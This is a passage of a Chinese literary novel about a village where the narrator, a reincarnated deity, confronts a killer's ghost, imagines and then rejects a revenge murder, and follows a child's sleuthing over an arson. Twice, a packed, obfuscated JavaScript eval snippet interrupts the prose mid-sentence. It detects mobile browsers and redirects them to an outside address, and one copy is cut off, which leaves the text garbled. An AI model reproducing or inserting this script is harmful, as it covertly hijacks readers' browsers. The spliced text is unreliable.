“你是住在这儿的?”其中一个男人站在门口问道。这是两张陌生面孔,瘸子心里还纳闷,怎么万金花舍得找外面的人,难道李得彩还做了其他罪大恶极的事怕被揭发出来? “只有我一个人住!”瘸子说道。 另一个男人指着他的衬衫说:“你这衣服不错,什么材质的?” 瘸子挺胸抬头,颇为自信地答道:“这是的确良的!” 此话一出,那两个陌生男人就对彼此点了点头,一个从背后拿出一块白毛巾,另一个掏出了绳子,瘸子来不及反应就被他们放倒在地,他的瘸腿奋力地蹬地但无济于事。他被塞进了面包车的后座带离明月庄,却在第五日的深夜独自回到这里。他每走一步,胸腔里的血就顺着身子滴落到地上,往上看去,他的一颗真心就已经不在他的胸腔里了,没人知道他究竟是如何在那种情况下还能直立行走的。 之后的拂晓时分,我就在草丛中发现了他。 这整件事我唯一疑惑的一点是,那两沓钞票是谁放在门口的。 “不可能!不可能!”瘸子从水里抬起头来叫喊着,“这是不可能的事!我有冤屈!我要上报吉祥天师!” “天师不想见你。”我说,“李观水,是你的名字吧?” “他怎么会不想见我,我这么全心全意地维护他!”瘸子揉揉眼睛,像才发现我似的露出谄媚的笑,“黑头发,红眼睛,钥匙串,你是星君,我见着星君了。” 我又问了一遍,“李观水,是你吗?” “是是是,当然是我。星君你听我说,我一定是让万金花给害了,她对我说的话怀恨在心,要与李得彩同流合污,她不是好人啊星君。您一定得想办法送我回去,不然天师就有危险了呀……” “李观水。”我打断了他,“李有福是你杀的吧。” “啊?”他显得很惊讶,“那怎么能叫杀呢?那是他不守规矩应得的惩罚!我替天行道!” 他真够烦的,烦到我控制不住也扇了他一耳光,“话真多。” 瘸子是典型的最烦人的一类,不仅不接受自己已经死亡的事实,还妄图逃避前往转世的路。我只好用一串钥匙套住他的脖子把他拽走。他就和一条犟狗一样赖在地上不肯动,我不去管他,继续把他拖着走。路上瘸子叽里咕噜说了很多,后面的我都没听进去,光记得送他离开的这一路吵得我耳朵疼。 瘸子死了,我曾幻想我会从中感受到大仇得报的快感,或是一桩恶性事件终于结束了的轻松。可是这两种感觉都没有出现,“吵”是唯一说得上来的感受,但这不是情绪,没有用。他死了,便是死了,和李有福一样回归世界的本原,围绕他产生的一切都在瞬间腐烂,随着打开的木门一同去往全新的世界。 这种全新的感受令我不可避免地想到自己死去的那一天。原来当时会令我恐惧至极的东西,也会随着时间的变迁,淡化成一阵风。 如果李春生听到我得出的这结论,应该会感到高兴,燃灯星君就应该是这样的。我站在河边长舒了一口气,却并不觉得自在。河面在向我招手,他敞开了怀抱等待我的加入。对于河道的想象因人而异,它曾是历史,是时间,是垃圾场,是母亲,也会是环绕某人脖颈的上吊绳,那清溪河对我来说会是什么?我决定一探究竟。 清晨的河水蕴蓄着明显的凉意爬上脚踝,我从没有真正下过水,活着的时候没有,死了之后也没有。原来河面是动态的,他不断摇晃,不断起伏,河水接触皮肤的感觉先是凉,适应之后就是痒,好像有蚂蚁绕着脚脖子转圈,在那之后我就逐渐感到皮肤与河水融为一体,开始享受这种湿润了。 我往河中央走了几步,河水漫过腰际,我看到有小鱼从手边游过,河面分开了两个截然不同的世界,就像我熟悉的那团雾气。 我深吸一口气潜入了水中。人在屏息之后对时间的感受是不一样的,这里的时间会变得越来越慢,越来越需要忍受,以至于两三秒的时间也像岸上二三十分钟那样久。我在这缓慢的一分钟里看到了李有福事件的另一种可能性: 根据实地观察和本身对明月庄地形的了解,我会谨慎地选定时间和地点,确保动手的时候不会让别人看见或听见。凭借和慧慧的关系,我可以从她那里弄来让人失去意识的药物,让她在不知情的情况下成为我的帮凶。而锋利的刀具厨房里比比皆是,菜刀,剔骨刀,水果刀,哪把都行,但最好是长而尖的水果刀,它比宽大的菜刀更加灵巧,用起来更加顺手。 剩下的只需要等待合适的时刻出现,我会带着工具在某个路口蹲守瘸子,或者趁着夜色直接闯进他家里去。踢开碍事的黄狗和无序散落在地上的各种竹篮和镰刀,对准他的瘸腿痛击就可以把瘸子放倒,他很快就会失去叫喊的力气,我会在他彻底睡去之前就落下复仇的血腥一刀,那之后瘸子就将迎来自己的死亡。 血珠会飞溅到我的脸上,从眼睛的位置一路流下来让嘴角也尝到血腥的味道。在那之后我就会把瘸子的尸体套进麻布袋里,用结实的绳子栓好袋口,像背一袋面粉一样把瘸子背到清溪河最偏僻的一处河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114921|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸,“哐当”一声就让他销声匿迹。至于门口的那包钞票,当然不是我大发善心付,我也没有那么多钱可以给他,所以钞票不会出现在这个版本的故事里。 如果我只是李月来,那么事情就很可能是这样。可惜我不仅仅是李月来。 在水下我得以跳出李月来的身份去看自己,这意味着抉择。李月来的脸庞在水面下显得模糊又扭曲,清溪河没有洗干净他脸上的血珠,他伸出手来捧着我的脸。我知道如果我接纳他,就是接纳了整个人世间,和所有的红尘因果。这些东西造成李春生的痛苦,慧慧的迷茫,李有福的悲剧,季有兰的困境…… 于是我抓住李月来的手腕,推开了他。 沉到水底的麻布袋敞开了口子,被丢弃的并不是瘸子,而是李月来本人。 一分零一秒,一分零二秒,一分零三秒。我结束了水中的冥想,河面正波光粼粼。 “你不用说,我也知道你选了哪条路。”慧慧坐在河边,好像已经等我很久了,她说:“不过我还是要多嘴问一句,那是什么感觉?” 我站在水中问她:“你指的是什么?” “两个都是,瘸子的死还有你自己的死,我说的是李月来。” “他很吵,我不喜欢这样的人,别的没了。”我的确说不上来别的感觉,死亡对我来说已经没有特殊的含义了,“我还活着呢。” “活着的是李月来的躯壳。”慧慧走近了些,她把鞋拎在手里背在身后,河水恰好没过她的脚面,“天地万物之灵循环往复,生生不息,但由于种种原因,譬如基因,意外,成长环境等因素,某些人的灵很早就死了,或是根本无法点化,他们虽然暂时不会死去,也只是一副会呼吸的躯壳而已,活着只是等待某天入土。” “比如我现在这样?” 慧慧笑着摇了摇头,“你嘛,还是有些不一样的。我刚才说的都是外界因素造成的,而你是拒绝了自己,这有很大不同。你是燃灯星君托生,本来就是空空皮囊一副,但我之前一直没有告诉你,在你出生的时候,我撷取了一片无主的灵放到李月来的身体里,也就是你刚刚在水下杀死的那部分。” 我有些懊恼,“我还以为我是真的被你们熏陶出一些情绪和感知了呢。” “怎么不是?那本来就是你拥有的东西,被这一小片玩意儿放大了而已。而且……”她蹲了下来,目光和水中的我平齐,“这是我的本职工作,把它培养成什么样子,走上什么道路就是各人自己的选择了。” “那你对我的选择有什么评价吗?” “挺好。绝大多数人没有这个胆量。” “那李月来还算活着吗?” “当然。”慧慧告诉我,“燃灯星君就是李月来,你当然还活着。死去的是你一部分的特质,并不是全部的你,未来你要过怎样的生活,也都看你自己的选择。缺失的部分,你自己补上就行了。”她朝我勾勾手,“过来。” 慧慧用手掌贴了一下我的额头,“嗯,能否定自我,就是最好的启蒙。李月来,我可从没想过能从你这里看到。恭喜你,人间八苦当中,你从五阴炽解脱了。” “你也知道这事儿?” “我有什么不知道的?” “没想过你来当?” 慧慧摇了摇头道:“我可舍不得这人间呐。”她用帕子擦干了手,很快就和我说起另一件事,就像刚刚的谈话从没发生过一样,“我过来的时候遇着小季了。” “嗯。” 据慧慧说,小季老师一看见她就火急火燎地冲过来问李春生明年要去哪里。慧慧见她那副样子,自然地以为小季是要问个究竟,便想着含糊其辞地搪塞一番,把这话题盖过去。可小季老师却摇摇头说道:“我不是要问这个啦。慧慧你和他关系好,见着了替我说一声,他想走就走吧,去哪儿都行,反正中学和庄子这个样子,换了谁都会想走的。只不过我想了想,我要为了学生们留下来。” 她应该是知道了李春生和老校长在荷花池的谈话,也可能老校长又找她商量过,她像是受到了金铃儿的感染,也做出了类似的决定。慧慧劝了她一句,“这儿不太平。” “我知道不太平。我的意思是,和学生们待在一块儿,以后就算不在庄子里了,我也和校长,周老师她们一块儿,去找别的地方,总有办法的,中学不会倒的。” 中学不会倒,小季说着这五个字,步履不停行色匆匆地就要走,被慧慧拉住胳膊问道:“你为什么不自己跟他说?还有,你这是要去哪儿?” “你这两个问题我的回答是一样的。”小季的皮肤过了两个月似乎被晒黑了些,看起来更有生命力了,“我现在要去送月儒上班,忙着呢嘿嘿。” 我不记得李月儒需要小季陪着出去,“月儒?你没听错?” “没有。”慧慧拽着我的胳膊把我拖上了岸,“李月来,你要做什么我管不着,不过今天嘛我给你个建议,回家一趟歇歇吧,夏天就要过去了。” 到家的时候李月儒已经出去了,我身上还是湿漉漉的一直往下滴水,李月贤见了脱口问我:“你掉河里去了?” “嗯。”我应道。 换了衣服,我就坐在一张小板凳上看着李有福留下的一地孩子,小的抱着更小的,柜子里的话梅糖已经快要吃完了,给他们做饭除了菜品少,别的也和准备酒席没什么区别。好在她们普遍很安静,不会挂在腿上提出十万个为什么。 李月儒回来的时候我就坐在门口抽烟,她看见我挺惊讶,“你咋回家来了?” “你和小季什么事儿啊?” 她很坦诚,没打算瞒着我,“我从棉纺厂辞职了,那个老板不好。” “早知道不让孟明达找了。” “他也不知道来着,今天差点打起来。” “今天?你们今天还见了他?”这让我更加好奇了。李月儒在我身边坐下,“隔壁镇上有个保育院,可以带着月昭月眉她们一起过去的,能上班,也能照顾,能轻松好多。我是自己找的他们,小季知道了不放心,才陪我去看了的。” “孟明达呢?他干什么去?” “他也去了的,毕竟知道的多些。哥,那院长是个挺好的人,和校长似的。” “你觉得好就行。”慧慧刚与我说起的时候还有些提心吊胆,以为李月儒碰上了难缠的事,现在看来我不需要操心什么,她也能把这个家打理得很好,我只需要做个幕后支持者就行了。 还有一件事,我迟迟没有听到消息。“对了,你回来的时候,有听到庄子里什么新鲜事吗?” 李月儒感到有些疑惑地想了想,“没有啊,和前两天没两样。” 看来瘸子死去的地方确实偏僻,到现在也没有人发现他。 “我出去一趟。” 李月儒说得不错,明月庄和前两天没有任何区别,红布帐篷还没有拆除,人们的狂喜也没有褪去。李得彩倒是稍稍解脱,回到了他熟悉的塑像事业中去。但他的两个耳朵还是源源不断地听到人们吹奏乐器和叫喊寒暄的声音,他的眉头紧皱像是葡萄干的纹理,艰难地忍受着这些恼人的声音。 小白菜今天没有爬上围墙,而是和万金花过去一样骑在门槛上,他闭目养神,像是在等待什么。 我路过他的家门口,走过半个身子再转过来对他说:“小白菜,瘸子死了。” 他睁开了眼睛。 34.古老的箴言 到了这一天我才发现,小白菜家的门槛刷了红漆。经过这么些年也没有脱落,只有边缘因为磨损而露出了内部木头本来的纹理。我记得在李金泉的时代这个门槛还没有这么艳丽,但它是何时拥有了这样的颜色,我却说不上来了。 我本以为小白菜会对这个消息欣喜若狂,他应该瞬间从门槛上跳下,从我嘴中问到瘸子死去的具体地点之后就光着脚跑遍整个明月庄,将这桩大新闻用最快的速度宣之于众。我以为他会孤身一人穿过修塔的队伍,像一个得胜归来的将军一般走向万金花的红布帐篷,于是这母子二人之间的战争进入白热化。 可是小白菜没这么做。 小白菜横跨在门槛上坐着,头靠在门边,门框把他柔软的头皮都压出一条清晰的缝了。他听了我的话就把门槛当做独木桥踩着站起来,仰着头仔细打量了我,随后说道:“你,你不常在庄子里露面,但我知道你。你是李月来,管着中学的食堂后厨,你是那个倒霉的李有福在河边捡来的儿子。” 他用“倒霉”一词来形容李有福,证明他对李有福的现状也猜得八九不离十。小白菜像是听到了我心中所想似的说:“我说他倒霉,自然是因为他死得冤枉。”我还没说话,他就开始自问自答,“死了?当然是死了,据我的可靠经验,李有福这种面朝黄土背朝天的老实人无缘无故的失踪了,等待他的就只有死亡这一个结局。不管是谋杀还是意外,他都很倒霉,不是吗?” 他说的不无道理,并且笑得很恶心。我想了想,对他说:“这不是他能决定的事。” 小白菜站在门槛上夸张地笑起来,他整个人往后仰,几乎就要后脑着地摔下去,可他的胳膊一甩,又把自己站得笔直,“李月来,你是李有福的儿子,居然没想着替他报仇?你真沉得住气啊。” “我一无所知,找谁报仇?” 小白菜说的,是我在水面下看到的第二种可能,可惜我早就亲自把它扼杀了。 小白菜听了向身体两侧打开双手,在门槛上提着正步从左走到右,再从右走到左,他似乎对我的回答很满意,脸上一直笑眯眯的,尽管我很讨厌他的笑容。 他侧过头对我说:“当然是找你的杀父仇人,瘸子李观水呀。” “我可没碰他。” “是吗?”他转过来正对着我,“那你为什么这么冷静?你看见了死人,这死人还映证了我的预言,庄子里却还没有乱哄哄的一片,说明你是直接来告诉我的,你若是没对他做什么,怎么会表现得如此……稀松平常?” 我说:“因为瘸子死了这个消息,全明月庄只有你最关心,对你来说也最有用。” “当真不是你?李月来,瘸子看不惯李有福很久了,他大概率死得不冤,不必对我遮遮掩掩。难道你的心里,就没想过报仇?” 我说不上来,慧慧放在我身上更倾向普通人的那部分是想过的,但同时也被我自己拒绝了。思来想去,最后我对小白菜说:“人死不能复生。” “你倒是个有意思的人。”他欣慰地说道。随后他在门槛上踮起脚来指着我下达命令,“那么我便信得过你。李月来,你现在就去把瘸子的尸体藏好咯,别让任何人发现,以后他有大用途呢嘿嘿嘿嘿嘿……” 本着不想再回来向他报告的想法,我当时就把那个偏僻的位置告诉了小白菜。他虽然没有和以前一样夸张地手舞足蹈,但也在门槛上踮着脚尖开始转圈,脸和桃子一样红。 小白菜能够这般沉住气,还是得益于李春生。在他怀抱着小白菜站在山羊坡上的那个下午,在小白菜得到了万寿予这个名字之后,李春生还告诉他,“你要有两手准备,要是瘸子的死人尽皆知,你就要在短时间内打出手里剩下的两张牌,这是险招;但要是瘸子死得悄无声息,你就要按兵不动,等到万事齐全,有了十足的把握再将三件事一起道出,这才是最有用的。” 小白菜曾反驳道:“难道要等瘸子成了一具枯骨再翻出来说吗?谁会相信一具骷髅?” 李春生说:“你忘了吗?他每天都穿着的确良衬衫呢。” 衬衫是瘸子的宝贝,他掏出鞋子底下的积蓄来咬牙买下了它,为了自己成为衣食无忧的富翁时能够盛装出席。 在瘸子闭上眼睛的那块土地上,我却没有看见的确良衬衫鲜亮的颜色。难道是有人先发现了他吗?我讨厌变化,所以这不是什么好消息。不过一转眼我就确定并不是这样,因为在脚边的草丛里,百元大钞还显目地散落着。明月庄里见钱不眼开的人都在中学里了,而他们并没有挪动或抛弃瘸子尸体的理由。 泥土上有被拖行和翻动的痕迹,埋人的土坑我见过不少,只要把脚踏上去我就知道,这地方不久前刚挖了坑,埋了什么东西,最上层的土盖得有些拙劣,不过那上面撒了草籽,只要经过一场雨就不会有太大的问题。我不再猜下去,心里多少也有了答案。 正好也有别的事要问他。 当时,李春生的手上拿着一本书,靠在椅子里睡着了,腹部的位置堆着一条薄毯子,他胃疼的老毛病大概又不请自来地发作了。他的睡眠向来很浅,听到开门的声音就醒了过来,“小白菜知道了?”他直接问道。 他无所不知地有些令人生厌了,好像一切都没有新鲜感,我点点头,一边收拾桌子一边问他:“李观水是怎么死的?” “我和你知道的一样多。他在深夜被陌生人带出了明月庄,回来的时候就失去了胸腔里的一颗真心。”李春生把书倒扣在桌上,我看清了书名,是《覆舟的愉悦》,“你在怀疑我吗?” 我不瞒他,“是。” 他笑起来,“我还没那么冷酷。也做不到取走他的性命。” “那些钱呢?是谁放在那里的?带走瘸子的那些看着可不像什么生意人。” “那是我放的。”李春生坦白道,“李观水说可以用他的真心为代价,来得到够花一辈子的财富。既然他已经支付了代价,我也就信守承诺给了报酬,这没有什么问题吧?他也收到了,不是吗?” 李春生说这话的时候好像是特意在观察我的反应,我顿时觉得整个明月庄的重量都压上来,从河水中回来以后好像每个角落都潜伏着一双眼睛,看清了我每一次的踟蹰不前。 李春生什么也没说,他只是坐着,右手搭在上腹部安抚胃部的疼痛。我觉得自己在他面前赤裸得像个婴儿。 “你觉得不舒服了吗?”他问的时候再次闭上了眼睛,仿佛又要沉沉睡去。 “没有。只是有点累,但和你比起来也算不上什么。”每当这种时候我都想要抽烟,但在今天显然不合适,“你还剩多少香火钱?” “没多少了,反正也用不上。” 李春生,以后我应该用什么身份来面对你,给我一个答案。” 他没有看着我,“李月来,只要是李月来就好。”然后他重新拾起了诗集,“你已经很久没有好好睡一觉了,歇一歇吧,还有很多事等着我们去做呢。” 我听了他的话,靠着墙壁勉强入睡之前,听见李春生正轻轻地哼着:“月亮爬上呐小山岗,我把歌谣呐唱一唱,船上的星星摇摇晃,屋里的人儿静悄悄,别把心事呐放心上,快快睡下呐好梦长……” 我悄悄地,翻开了他扣在桌子上的诗集,看到上面写着: “不谙世事的灵魂自水中返身。” 当我们在身份的漩涡里苟延残喘的时候,慧慧正带领着她的朋友们往万丈生机的明天前进着。她坐在保育院里廊檐下的一张椅子里哼歌,背后的小教室里是李月儒带着这里的小孩们折纸的声音。 保育院的工作算不上轻松,即便李月儒已经习惯了与小孩相处,也不能拿来相提并论。她要比在家中扮演更多的角色,承担更多的责任,她既是姐姐,又是老师,还得是朋友和护工。看见她我总是不可避免地想到“分身乏术”这个词,但实际上她的表现更贴近“游刃有余”。 “这个送你。”李月儒拿着刚才折好的一只纸鹤递到慧慧手上,“庄子里的人大都只知道爸爸是个屠夫,却不知道他的手也很巧,能折漂亮的小鸟。” 李有福的空闲时间基本不做别的,只会一声不响地折纸,或是用野草茎编织些田野里蹦跳的小动物。要认真地谈论折纸的话,应当是李月贤更胜一筹,她将李有福仅有的一门才艺学得炉火纯青,仅次于她手下的木雕工艺品。而李月儒呢,她早早地扮演起长姐的角色,把童心都收敛到了被窝里。 李月儒接着说:“咱们家每个人都听他讲过纸鹤怎么折,我也只记得这个了。” 慧慧问:“他们学得怎么样?” “比我那时候学得快多了。” 这时候,一个大一点儿的孩子端着一捧纸鹤来塞到李月儒的怀里,又乐呵呵地跑走。李月儒从那个方向望过去,刚好能看见李月眉和李月昭正在草坪上玩耍,身体上的残疾丝毫没有阻碍她们,反而让她们在孩子堆中显得更加耀眼夺目。 慧慧对她说:“月儒,其实我一直想问你,为什么不在棉纺厂继续做了?” 李月儒的原因很简单,只是除了我以外,暂时还没有对任何人说过,“我觉得那个老板不好,我不喜欢。” “他让你不自在?” “是啊。”李月儒捧着纸鹤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小季不太熟悉外面学校的情况,还打算背上包去一处一处地拜访。慧慧拉住她说:“先去临岸问问吧。虽然稍远些,但地方大学生又比较少,它离别的学校都挺远,这里出去倒还顺路。” 她当然不是随口说的,自从在筒子楼里见了周桐,慧慧就知道这个与老校长同时代的女人也一直在支持老朋友的事业。她晚上是筒子楼的大家长,到了白天就挽起头发骑上自行车,去临岸中学里做她的本职工作。周桐老早就想到了老校长在明月庄中学里可能会遇到的难题,甩了甩头发就决心也把根扎在这里。老校长要爬到树顶上去给学生们打灯,周桐就在底下铺好网来接住校长。 小季曾从文书中抬起头来对慧慧说:“只要学生们还在就好了,难道只有这围墙里面的,才能叫做中学吗?” 小季虽说教授数学,但算账也不是随便什么人都能弄明白的。她和慧慧,还有老校长花了好长的时间,才终于把所有的财务明细理清,装成整齐的一份,一起送到了临岸中学的校长办公室里。 “我跟你们说啊,那个戴眼镜的秘书老拦着我,我知道她也是秉公办事,不想拦下没必要的负担。但是我响亮地告诉她,你说的东西我全都带来啦!趁着她还在愣神,我就从包里把申请、方案、账本、明细、规划全都排好了队列在她桌子上了!那秘书就没了话,总算开始好声好气地和我说话。我知道我们求人帮忙不能因为别人好说话而失了态度,我就和她说了,姐姐呀,咱们中学拢共也没多少人了,只要给我们一个班,让他们在一块儿把书念完就可以了。” 小季带的东西太齐全,办公桌几乎都放不下,秘书正对着突如其来的请求束手无策,临岸中学的校长就踏着轻快的步子来当她的救世主了。 “我听见步子,立马就站起来准备迎接他啦。你们猜这校长是谁?进门来的,是周老师,周桐!筒子楼的周桐!咱们谁也不知道,连老校长也不知道,临岸中学的校长就是周老师呀!” 周桐是特意没有告诉她们的。作为老校长的多年好友,她最清楚老校长的为人,要是让她知道周桐白天当校长,晚上回了家给她的学生们当保姆,老校长必定要内疚自责到夜夜失眠。 “我觉得这个周老师真是个神人,她说啦,二十来年前她就想着,要给咱们老校长留个后手,要是明月庄中学没能和她预想一样发展起来,总要有个兜底的办法。周老师说了,她会一直帮到死……”小季没能再说下去,她突然开始控制不住地流眼泪,捂着包蹲在地上埋头大哭,保育院的孩子们都围了过来。 “小季,小季,这是好事。”慧慧把小季的脸捧起来,“你哭得眼睛都肿啦!” “我高兴!”小季说。 “那申请呢?” “周老师说了,她帮我们交上去。不会有什么问题的。” 李月眉迈着她的跛脚走到小季面前,摊开手掌把一只纸鹤递到她面前,咧开还没长齐牙齿的嘴,“送你,飞!” 慧慧说她将永远铭记这个金子般的下午,李月眉被小季抱起来绕着小操场转圈的时候张开了小小的臂膀,好像一只灵巧的纸鹤。慧慧躲在李月儒的身后悄悄地说:“这叫我怎么舍得这人间。” 35.来自土地,来自血脉 历史老师走进教室之前,在办公室吞下了两片止痛药,来缓解绵延至今的胃痛。他知道这药片并不完全对症,也不能产生实质的治疗效果,他只是需要类似的安慰剂,在心理层面起到点儿聊胜于无的作用。他最特殊的那个学生已经在教室里头等待他,却并没有端正地坐在椅子上,而是窝着腿把自己塞进一个铁盆。 我认识那个铁盆,它随着小白菜在围墙上降下的预言一起出了名,当时他拿树枝敲击铁盆发出的声响还在我们的耳边回荡,现在它成了小白菜的座椅。这个喜怒无常的孩子今天倒显得十分安静,他的脸上没有任何显化的表情,看见李春生进来,也没有任何变化。 李春生粗略地看了小白菜一眼,“你长高了不少。” 小白菜还是保持着石像般的神情回答道:“春生老师,我这个年纪正是生机勃勃的时候,在你看不见的时候我又跑又跳,长高是太正常的事了,不像你们,都是要走下坡路的人。” 我想李春生大概是整个明月庄最能忍受他的人,没有之一。“长高是好事,能跑能跳也是好事,小白菜,但你的表情告诉我,你并没有感受到这好事带来的喜悦。你在烦恼什么?可以说给老师听听。” 小白菜的双手抓着盆沿,十指不断敲击发出恼人的声响,就像搓麻将的人催促上家出牌时一样。李春生在这声响中耐心地等待,小白菜则扭动了一下屁股把铁盆前端微微抬起,把自己转了个角度不再面对着李春生,好像这样才能把自己的困境顺利述说出来。 “春生老师,我在围墙上生活了这么一段时间,从高处俯瞰了明月庄每个人的脸和心,心中却还是有所疑惑。你说那个纵火犯,到底是用了什么东西引燃大火的呢?” 李春生问他:“你的观点是什么呢?在你决定问我之前,肯定自己思考过吧?” 他的话让小白菜的回忆成了喷泉,从口中汩汩地往外冒。小白菜坐在铁盆里,面朝着窗外正斜斜沉下去的夕阳,不像个六岁的孩子,倒像个风烛残年开始回忆一生的老人。他甚至从对夏天的感慨开始说起: “春生老师,你说明月庄的夏天是怎样的?” 李春生说:“夏天……夏天是个很好的季节。” 多年以来,季节对我而言没有任何特殊之处,但夏天的时候李春生总是睡得比其他时候更晚一些,他说在夏季山羊坡上的星星比以往都更清晰,不多看看可惜。慧慧告诉我,在不同的地方,不同的年纪,不同的人对于夏天的感觉都是不同的。这方面他们的话比我更有权威性,毕竟我从不刻意去留心这些琐碎的事。只不过这一年的明月庄对我来说着实难以忘怀,便也能说上几句话。 李春生感受到的夏天应该比我长很多,我觉得明月庄的夏天短促,和一个瞌睡没什么两样。 尤其是到了要开学的时候,明月庄的天气常常不是令人愉悦的。这里的暑热会让人觉得是一场病,病来如山倒,病去如抽丝。消暑的过程也就应了这句老话,不像发烧那样去得爽快,而是类似无穷无尽的牙疼,谁都不知道他究竟何时才能真正结束,又或者在哪天卷土重来。 但夏天确实是短促的,每一次我都还没来得及好好感受它就已经结束了,这一年更是如此。 小白菜和我的感受类似,“可是春生老师,这个夏天讨厌极了,我做梦都盼着它结束。” 瘸子死去的时间是八月末,关于他的闲言碎语一直到九月中旬也没有结束。瘸子的失踪让人们纷纷开始猜测他的遭遇,有人说瘸子是从这里逃跑,出去快活潇洒挣大钱了,反驳者认为以瘸子的品行根本没有发财的命。也有人怀疑瘸子是真的死了,但是没有人见到他的尸体,也就很快闭上了嘴。这关乎小白菜的预言真实性,还有可能再次掀起他和万金花之间的腥风血雨,猜对猜错都落不了好。 小白菜当然听到了这些对话,作为一个欠缺修为而导致自己受伤的仙童,和一个“失败”的预言者,他的感受不太重要,连万金花和李得彩也很久没有回家来了,要不是他的两个姐姐还会回家给他做饭,小白菜恐怕就要提前结束他的生命。 第一滴秋雨落下的时候,小白菜就坐在自家的围墙底下,他的上半身因为高热而赤裸着,脚上也没有鞋子。他对李春生说:“可是春生老师你知道吗?冰冷的秋雨让我感到了明月庄的土地之灵,嘿嘿嘿嘿……” 雨先是落在他的手背上,啪嗒一声,等他抬头去望天空的时候,更多的雨丝就匆匆忙忙地降下来,把他淋成一个正在融化的冰雕。 小白菜说:“我坐在雨里头,就想起他们对瘸子命运的讨论,我好想跳到他们中间大声告诉他们瘸子早就死了!他的尸体就在明月庄的角落里腐烂!可是我知道春生老师你说的是对的,现在还没到时机。所以我必须忍耐,可是忍耐让我的呼吸变得沉重,好像一个得了哮喘病的人。我最讨厌的就是等待,等待的感觉和吃蚯蚓没什么两样,多忍一秒我都想张大嘴哇啦哇啦地吐出来!” 因此他开始强迫自己转移注意力,把心思再次放到了纵火犯的身上。小白菜看到在雨水的冲刷下,墙壁裂缝里沾上的泥土变成湿润,泥水就顺着砂砾滑落,留下一条黄狗尾巴似的痕迹。 “春生老师,你不觉得那很像黑板和粉笔吗?原来我那小院子,也是不可多得的一间教室。”小白菜望着面前的墙壁愉悦地想道。他发挥自己作为一个学生的想象,从这场秋雨中获得了行动的灵感。等到雨过天晴,小白菜将自己平躺在地上,想靠着太阳的温度把自己晾干。 他晒着太阳迷迷糊糊地睡了一觉,结果只晒干了一半,站起来的时候背后还滴滴答答地淌下水来呢。小白菜就这么走到外面,捡起一块砖头碎片,对着墙壁奋力一凿!灰白的水泥墙壁上赫然出现了砖红色的一道疤,这正是小白菜想要看到的效果。 “砖头片就是我的粉笔。”小白菜说道。 听到这里,李春生大概知道他接下来要说什么了,“你用这粉笔在墙上演算纵火犯的身份?” “是啊,是啊!”我得说小白菜是一个敬业又孤独的教师,没有任何一个学生来听他的推理课,他就对着阉鸡与土地融为一体的尸骨讲,对着歪脖子树上的鸟雀讲,对着空气中自己孤零零的灵魂讲。 他先是画下天师登临塔的宏伟模样,因为这是一切的中心,“你看,你看,我们要解决什么问题?我们要解决登临塔被焚之谜,我们将它摆在中央,把所有的目光都对准它!”小白菜诚实地想要还原高塔与房屋的比例,可他终究还是矮了点,只能摸到围墙一半的高度。他笔下的登临塔也就只剩下七零八落的半截了。 小白菜在底端画上花朵一般的火焰,“我记得很清楚,火焰就是从底下烧起来的,好像玫瑰似的。”他伸出因为反复高热而水肿的手掌去抚摸墙壁上的花,“火焰,什么东西能生成火焰呢?鞭炮,火药,火把,酒瓶,打火机……”他指向阉鸡腐烂殆尽的尸体问它:“阉鸡,你知不知道,为什么我从不认同那场火是鞭炮造成的意外?” 阉鸡一动不动,并不能回答他的问题。 小白菜便自问自答:“蠢货,会这么说的都是无可救药的蠢货,比如我那无能的父亲李得彩。是,火药粉末和鞭炮都在废墟里被找到了,可是任何一个耳朵没聋的人都知道,登临塔烧起来的那天根本就没有放过鞭炮,明月庄没有响起过鞭炮声!” 他在鞭炮和火药的图案上画了一个大大的叉,然后指着酒瓶向虚空问道:“那么酒瓶的可能性有多大呢?那人需要打碎瓶子,把酒精顺着登临塔倒下去,同时还需要其他助燃的东西,并且我也不相信普通的米酒能达到燃起大火的程度。所以……”酒瓶的图案也被画上了叉。 小白菜用同样的方法不断推翻各种助燃物,他觉得自己陷入迷宫,开始痛苦地抓头发,几乎把自己抓成一个癞子。 他终于再次调转方向,睁大了眼睛对着李春生哭诉:“春生老师,你知道他们看到我捧着脑袋在地上从东滚到西的时候说了什么吗?这些人居然对着我念叨,小孩子命薄,接不住天师大恩惠,说我命苦。呵呵呵呵,他们居然说我命苦!看来都是信了我妈妈的鬼话,对我弃如敝履了。” 李春生问:“那当时你做了什么?” 小白菜没做什么出格的事,也没有追出去对那些人大打出手,而是从地上鲤鱼打挺地跳起来叫喊着:“命苦?你们的命加起来都比我的苦!”他的斗志就这么玫瑰花似的也燃烧起来,砖头碎片开始在高塔四周刻画各式各样的小人,他抓起曾经充当他的饭盆,如今倒扣在地上的铁盆,用盆底当做一面模糊不清的镜子照出自己扭曲的模样,“你!你说!哪些人是最有可能点火的!你说!” 坐在教室里的小白菜也从铁盆中挪出来,他把盆“砰”地放到李春生的面前,像抚摸水中的月亮一般摩挲着盆沿自言自语道:“他要点火,需要离得足够近才行,拜神大会那一天,离登临塔最近的人,万金花,李得彩,还有起火的时间段往塔上运贡品的人。” 李春生说:“这个范围已经很小了。” “哈哈哈哈哈哈!”小白菜把铁盆紧紧拥抱在怀里,“好,好学生,我要给你一百分。” 他停顿了两秒之后又开始流下眼泪,抱着铁盆把脸盖住,声音变得沉闷,“春生老师,我的推理有任何问题吗?” “你的推理没有任何问题。” 小白菜瞬间把铁盆扔到门口,自己则爬上李春生面前的书桌和他的视线平齐,“那为什么我怎么也找不到他的凶器!鞭炮、酒精、打火机……这些东西都已经在我缜密的分析之后被排除了!不是这些东西!是别的我们都忽视了的东西!” 